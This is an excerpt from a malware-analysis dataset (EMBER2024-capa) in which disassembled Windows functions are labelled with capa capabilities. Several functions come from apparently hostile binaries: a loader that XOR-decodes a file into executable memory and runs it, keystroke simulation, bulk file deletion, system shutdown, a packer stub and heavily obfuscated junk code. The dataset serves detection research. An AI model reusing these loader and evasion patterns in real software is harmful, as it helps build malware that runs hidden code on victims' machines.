joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f72ac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
xor edx, edx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 4], edx
xor eax, eax
push ebp
push 0x4f73dd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.004f70d0
mov eax, dword [ebp - 4]
call sub.rtl250.bpl__System__UStrLen_qqrx20System_UnicodeString
test eax, eax
je 0x4f73b7
lea edx, [ebp - 0x5c]
mov eax, dword [ebp - 4]
call sub.rtl250.bpl__System_Sysutils_ExtractFileName_qqrx20System_UnicodeString
mov edx, dword [ebp - 0x5c]
xor ecx, ecx
mov eax, dword [0x4b4768]
call fcn.004ba008
test al, al
jne 0x4f73b7
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.004029b0
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 0x81
mov word [ebp - 0x18], 5
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x4000020
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call sub.rtl250.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x4f7367
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x4f73b7
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x70], 0
call sub.kernel32.dll_GetLastError
lea ecx, [ebp - 0x78]
xor edx, edx
call sub.rtl250.bpl__System_Sysutils_SysErrorMessage_qqruiui
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x68], 0x11
mov eax, dword [ebp - 4]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x60], 0x11
lea eax, [ebp - 0x74]
push eax
push 2
call sub.kernel32.dll_GetLastError
push eax
push 0
mov eax, dword [0x533e84]
mov eax, dword [eax]
mov ecx, 0x4f73f4
mov dl, 1
call fcn.004087a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f73e4
lea eax, [ebp - 0x78]
call sub.rtl250.bpl__System__UStrClr_qqrpv
lea eax, [ebp - 0x5c]
call sub.rtl250.bpl__System__UStrClr_qqrpv
lea eax, [ebp - 4]
call sub.rtl250.bpl__System__UStrClr_qqrpv
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x49db00
Capabilities:
Authenticate hmac

Disassembly:
mov al, 0x10
pushfd
pushfd
push 0x9826650d
pushal
lea esp, [esp + 0x38]
call fcn.004fc934
push eax
adc al, al
pushal
push 0xbe5fcf35
jmp 0x4ddde4
pushfd
lea esp, [esp + 0x2c]
Function at 0x4048d7
Capabilities:
Find taskbar
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [ebp + 8]
mov esi, eax
cmp ebx, esi
jne 0x43d658
xor eax, eax
inc eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push edi
xor edi, edi
test esi, esi
jne 0x43d66d
push edi
push 0x4b8514
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
push ebx
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x43d681
push 9
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
push ebx
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
jne 0x43d75c
push edi
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call esi
mov edi, eax
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push ebx
mov dword [ebp + 8], eax
call esi
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
call esi
push 1
push edi
push dword [ebp + 8]
call esi
push 1
push dword [ebp - 4]
push edi
call esi
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
jne 0x43d738
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
push eax
push eax
push 0x12
call edi
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x12
call esi
push 0
push 2
push 0
push 0x12
call edi
push eax
push 0x12
call esi
xor eax, eax
push eax
push eax
push eax
push 0x12
call edi
push eax
push 0x12
call esi
push 0
push 2
push 0
push 0x12
call edi
push eax
push 0x12
call esi
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, dword [ebp - 8]
test eax, eax
je 0x43d73d
push 4
jmp 0x43d73a
push 3
pop ebx
jmp 0x43d740
mov ebx, dword [ebp - 0xc]
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call esi
push 0
push edi
push dword [ebp + 8]
call esi
push 0
push dword [ebp - 4]
push edi
call esi
jmp 0x43d75f
push 2
pop ebx
mov eax, ebx
pop edi
jmp 0x4048f5
Function at 0x435a7c
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4bed50]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00429e59
mov dword [ebp - 0x14], eax
cmp dword [0x4c40e8], esi
jne 0x435b6f
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x435afc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x435c4f
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x435c4f
push 0x4a0db0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x435c4f
push eax
call ebx
push 0x4a0dbc
push edi
mov dword [0x4c40e8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x4a0dcc
push edi
mov dword [0x4c40ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x4a0de0
push edi
mov dword [0x4c40f0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4c40f8], eax
test eax, eax
je 0x435b6c
push 0x4a0dfc
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4c40f4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x435b94
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x435b87
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x435ba9
push 4
pop eax
jmp 0x435c51
cmp dword [ebp - 0x14], esi
je 0x435ba9
push dword [0x4c40e8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x435b8e
mov eax, dword [0x4c40f4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x435c07
cmp dword [0x4c40f8], edi
je 0x435c07
push eax
call ebx
push dword [0x4c40f8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x435c07
test eax, eax
je 0x435c07
call ecx
test eax, eax
je 0x435bfc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x435bfc
test byte [ebp - 8], 1
jne 0x435c07
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x435c37
mov eax, dword [0x4c40ec]
cmp eax, edi
je 0x435c34
push eax
call ebx
test eax, eax
je 0x435c34
call eax
mov esi, eax
test esi, esi
je 0x435c34
mov eax, dword [0x4c40f0]
cmp eax, edi
je 0x435c34
push eax
call ebx
test eax, eax
je 0x435c34
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4c40e8]
call ebx
test eax, eax
je 0x435c4f
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x435c51
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c5f6
mov esp, ebp
pop ebp
ret
Function at 0x463671
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x20030
call fcn.00431940
push ebx
push esi
lea eax, [esp + 0x10038]
mov esi, edx
push eax
mov edx, 0x7fff
call fcn.0046466e
lea eax, [esp + 0x3c]
mov edx, 0x7fff
push eax
mov ecx, esi
call fcn.0046466e
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x1003c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4636ff
cmp byte [ebp + 8], al
je 0x4636f8
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x1003c]
push eax
call fcn.0042354c
pop ecx
pop ecx
test eax, eax
je 0x4636f1
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x1003c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov al, 1
jmp 0x4637ab
xor al, al
jmp 0x4637ab
lea ecx, [esp + 0x10038]
call fcn.00464a31
test al, al
je 0x4636f8
lea ecx, [esp + 0x38]
call fcn.00464a31
test al, al
je 0x4637b1
cmp byte [ebp + 8], 0
je 0x4636f8
lea eax, [esp + 0x10038]
push 0x4b86b8
push eax
call fcn.00422d8d
lea eax, [esp + 0x10040]
push eax
call fcn.00422bfc
xor ecx, ecx
mov word [esp + eax*2 + 0x10046], cx
lea eax, [esp + 0x44]
push eax
call fcn.00422bfc
xor ecx, ecx
mov dword [esp + 0x1c], 2
add esp, 0x10
mov word [esp + eax*2 + 0x3a], cx
lea eax, [esp + 0x10038]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x38]
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x1a], eax
mov dword [esp + 8], eax
mov eax, 0x614
mov word [esp + 0x18], ax
lea eax, [esp + 8]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
neg eax
sbb al, al
inc al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x2c]
call fcn.00407de1
lea ecx, [esp + 0x28]
call fcn.00463a2a
mov bl, al
lea ecx, [esp + 0x28]
neg bl
sbb bl, bl
call fcn.00405904
inc bl
jne 0x4636f8
lea ecx, [esp + 0x38]
call fcn.00464a31
test al, al
jmp 0x463724
Function at 0x4637ef
Capabilities:
Delete file
Enumerate files on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea ecx, [ebp - 0x34]
mov byte [ebp - 1], bl
mov edi, edx
call fcn.00407667
lea ecx, [ebp - 0x44]
call fcn.00407667
lea ecx, [ebp - 0x24]
call fcn.00407667
lea ecx, [ebp - 0x14]
call fcn.00407667
lea edx, [ebp - 0x34]
mov ecx, esi
call fcn.00404750
lea edx, [ebp - 0x44]
mov ecx, edi
call fcn.00404750
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x34]
call fcn.004649c7
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 3], al
call fcn.00464a31
mov esi, 0x4b86b8
test al, al
je 0x463860
push esi
lea ecx, [ebp - 0x34]
call fcn.00407cab
mov ecx, dword [ebp - 0x44]
call fcn.00464a31
test al, al
je 0x463875
push esi
lea ecx, [ebp - 0x44]
call fcn.00407cab
lea ecx, [ebp - 0x54]
call fcn.00407667
lea ecx, [ebp - 0x64]
call fcn.00407667
push ebx
lea eax, [ebp - 0x64]
push ebx
push eax
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x34]
call fcn.0040459b
add esp, 0xc
lea eax, [ebp - 0x2c8]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov al, 1
mov byte [ebp - 2], al
cmp esi, 0xffffffff
je 0x4639c1
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp al, 1
jne 0x4639c1
test byte [ebp - 0x2c8], 0x10
jne 0x463995
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x74]
call fcn.00407de1
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x74]
call fcn.00464071
pop ecx
lea ecx, [ebp - 0x74]
call fcn.00405904
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x14]
call fcn.00408047
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x14]
call fcn.00407b2e
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x14]
call fcn.00407cab
lea ecx, [ebp - 0x24]
call fcn.00463c37
test al, al
je 0x46394d
cmp byte [ebp + 8], bl
je 0x4639b8
push ebx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x14]
call fcn.00407908
push dword [ebp - 0x24]
test eax, eax
je 0x46395b
call edi
cmp byte [ebp + 0xc], 1
jne 0x46397f
cmp byte [ebp - 3], bl
jne 0x463966
push dword [ebp - 0x24]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x46398d
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x14]
call fcn.00463a04
movzx eax, al
test eax, eax
je 0x4639b8
push dword [ebp - 0x14]
call edi
jmp 0x46398d
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x14]
call fcn.00463a04
movzx eax, al
test eax, eax
je 0x4639b8
mov byte [ebp - 1], 1
lea eax, [ebp - 0x2c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
mov al, byte [ebp - 2]
jne 0x4638bf
mov al, bl
mov byte [ebp - 2], al
jmp 0x4638bf
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4639cb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, byte [ebp - 1]
lea ecx, [ebp - 0x64]
call fcn.00405904
lea ecx, [ebp - 0x54]
call fcn.00405904
lea ecx, [ebp - 0x14]
call fcn.00405904
lea ecx, [ebp - 0x24]
call fcn.00405904
lea ecx, [ebp - 0x44]
call fcn.00405904
lea ecx, [ebp - 0x34]
call fcn.00405904
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x463b12
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x288
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [esp + 0x10]
mov byte [esp + 0xf], bl
call fcn.00407667
lea ecx, [esp + 0x20]
call fcn.00407667
lea ecx, [esp + 0x30]
call fcn.00407667
lea edx, [esp + 0x10]
mov ecx, esi
call fcn.00404750
mov ecx, dword [esp + 0x10]
call fcn.00464a31
test al, al
je 0x463b69
push 0x4b86b8
lea ecx, [esp + 0x14]
call fcn.00407cab
push ebx
lea eax, [esp + 0x34]
push ebx
push eax
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x1c]
call fcn.0040459b
add esp, 0xc
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov al, 1
mov byte [esp + 0xe], al
cmp esi, 0xffffffff
je 0x463c09
cmp al, 1
jne 0x463c09
test byte [esp + 0x40], 0x10
jne 0x463be4
mov byte [esp + 0xf], al
lea ecx, [esp + 0x10]
lea eax, [esp + 0x20]
push eax
call fcn.00408047
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x14]
call fcn.00407b2e
lea eax, [esp + 0x6c]
push eax
lea ecx, [esp + 0x14]
call fcn.00407cab
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, 1
jne 0x463c00
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
mov al, byte [esp + 0xe]
jne 0x463b9c
mov al, bl
mov byte [esp + 0xe], al
jmp 0x463b9c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x463c14
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, byte [esp + 0xf]
lea ecx, [esp + 0x30]
call fcn.00405904
lea ecx, [esp + 0x20]
call fcn.00405904
lea ecx, [esp + 0x10]
call fcn.00405904
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x465123
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10020
call fcn.00431940
mov ecx, dword [ecx]
lea eax, [ebp - 0x10020]
push ebx
mov bl, dl
mov edx, 0x7fff
push eax
call fcn.0046466e
pop ecx
lea ecx, [ebp - 0x10020]
call fcn.00464a31
test al, al
je 0x4651b8
lea eax, [ebp - 0x10020]
push eax
test bl, bl
jne 0x46516e
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
jmp 0x4651b8
call fcn.00422bfc
pop ecx
xor ecx, ecx
mov dword [ebp - 0x1c], 3
mov word [ebp + eax*2 - 0x1001e], cx
lea eax, [ebp - 0x10020]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0x20], eax
mov eax, 0x614
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
neg eax
sbb al, al
inc al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4651bd
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, ecx
mov esi, edx
push 0x4b877c
lea ecx, [ebp - 0x10]
call fcn.004635ad
push ecx
lea ecx, [ebp - 0x10]
call fcn.004587e1
test al, al
jne 0x4651e7
xor esi, esi
jmp 0x465234
cmp ebx, 0x20
je 0x465226
cmp ebx, 0x40
je 0x465222
test bl, 0xb
jne 0x465201
push 0
push ebx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x465232
xor ecx, ecx
test bl, 0x14
je 0x465209
inc ecx
xor eax, eax
test bl, 2
je 0x465211
inc eax
push esi
push eax
push ecx
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
jmp 0x465232
xor eax, eax
jmp 0x465229
xor eax, eax
inc eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov esi, eax
lea ecx, [ebp - 0x10]
call fcn.004581cb
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x465244
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
test esi, esi
js 0x4652c2
jne 0x465257
push 0
jmp 0x4652bc
cmp esi, 0xf
jae 0x4652bb
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x4652bb
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
sbb eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fild qword [ebp - 0x28]
fstp qword [ebp - 0x20]
fdiv qword [ebp - 0x20]
fmul qword [0x4a4900]
call fcn.0043b3b6
cmp eax, esi
jb 0x465274
jmp 0x4652c2
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
mov ecx, 0x6fa10cd5
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x54b10577
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x701c53
Capabilities:
Encode data using base64
Encrypt data using aes mixcolumns step

Disassembly:
xor edx, 0x69b738b3
mov word [esp + 0x11], 0x6486
call fcn.00a4ea6a
call fcn.0081ca71

Function at 0x701c6a
Capabilities:
Encode data using base64
Encrypt data using aes mixcolumns step

Disassembly:
mov word [esp + 4], 0x3507
lea esp, [esp + 0xc]
jne 0x7274fc
mov eax, 0xfbbc41b3
movsx edx, al
pop edi

Function at 0x7058c2
Capabilities:
Encode data using base64
Encrypt data using aes mixcolumns step

Disassembly:
inc word [esp + 0xd]
xor ebx, eax
sal byte [esp + 0x15], 0xe6
jp 0x73101b
push edx
mov dword [esp + edx - 0x2ad79812], edx
mov edx, dword [esp + edx - 0x2ad7980e]
lea esp, [esp + 0x2c]
ret
call fcn.00cb4880
dec esp
adc ebx, ecx
dec edx
mov edi, dword [edi + ebp*4 - 0x2a17fff8]
cwde
neg edx
push edx
pop edx
pop esi
pop eax
js fcn.008c5046

Function at 0x706516
Capabilities:
Encode data using base64
Encrypt data using aes mixcolumns step
Manually build aes constants

Disassembly:
mov dword [esp], 0x1b2b7794
adc edi, 4
push 0xfb2e2f3c
neg word [esp + 1]
mov dword [esp + 8], 0x2b9fa839
shld ax, dx, cl
mov ecx, 0xc23e47a7
mov word [edi], ax
not dword [esp + 6]
shr dword [esp + 8], 0xb2
ror byte [esp + 0xa], cl
sbb ebp, 4
and cl, byte [esp + 7]
mov edx, dword [ebp]
dec word [esp + 9]
sbb dword [esp + 8], ecx
jb 0xcaa4e8

Function at 0x7074b3
Capabilities:
Encode data using base64
Encrypt data using aes mixcolumns step

Disassembly:
mov eax, dword [ecx + edx*4 - 0x46cf6494]
movzx ecx, dl
rol ecx, 6
rol edx, 0x98
mov dword [edx + esi - 0x2511b3d9], eax
jae 0xa2fcd1
mov ecx, dword [edi + edx - 0x2511b3d9]
lea eax, [edx + edx*2 - 0x1e9d7da]
sal eax, 0x52
push edx
lea edi, [edx + edi - 0x2511b3d5]
ror ax, 0xee
mov dword [esp + edx*2 - 0x4a2367ae], edx
xor ecx, ebx
cbw
call fcn.007299a7
sysenter
pushfd
call fcn.00cc4f91
xor ebx, eax
jmp 0xc9c670
shr byte [esp + ecx - 0x2400fffe], 0x85
mov eax, dword fs:[edx + ecx*2 - 0x4801fffe]
not ecx
mov dword [ebp], eax
pop edx
xchg dword [esp], ecx
xadd dword [esp], ecx
pop ecx
jmp esi
not cx
xor edx, 0x7281da9c
adc esi, eax
push edx
mov edx, dword [ebp + ecx - 0x2400ffff]
jmp 0x7fe5df

Function at 0x707f30
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using aes mixcolumns step
Encrypt data using chaskey
Parse pe header

Disassembly:
xadd edx, eax
mov byte [esp + eax*2 - 0x2228e4], dh
mov word [ebp + eax*2 - 0x2228ec], cx
movsx ecx, al
pop eax
pop edx
pop edx
jle fcn.0098b9e9
mov edx, dword [esi]
jmp 0x82a06c
inc al
xadd cl, ch
and ecx, 0x1487f105
neg al
dec al
rol al, 1
xor bl, al
add eax, esp
dec ecx
sub cl, ch
bt ecx, ecx
mov dword [eax + ecx - 0x403a064], edx
mov ecx, dword [ebp + ecx - 0x403a069]
xor ecx, ebx
mov edx, 0x252928af
inc ecx
neg ecx
lea eax, [edx*4 + 0x6538d196]
rol dx, 0x6c
inc ecx
cbw
sal ax, 0xe7
xor ecx, 0x850810af
ror dl, 0x82
and eax, 0xae8ab723
ror ecx, 1
mul dl
shr ax, 0x8e
xor ebx, ecx
shr edx, 0xf1
xadd edx, eax
je 0x7d9c50
mov dword [esi + eax*2 - 0x2528], ecx
mov eax, dword [ebp + eax*8 - 0x94a9]
jl 0x9aa8f8
movzx eax, byte [ebp - 1]
mov ecx, 0xac2b37ae
or ecx, ecx
xor al, bl
bt cx, cx
jae 0x71e71e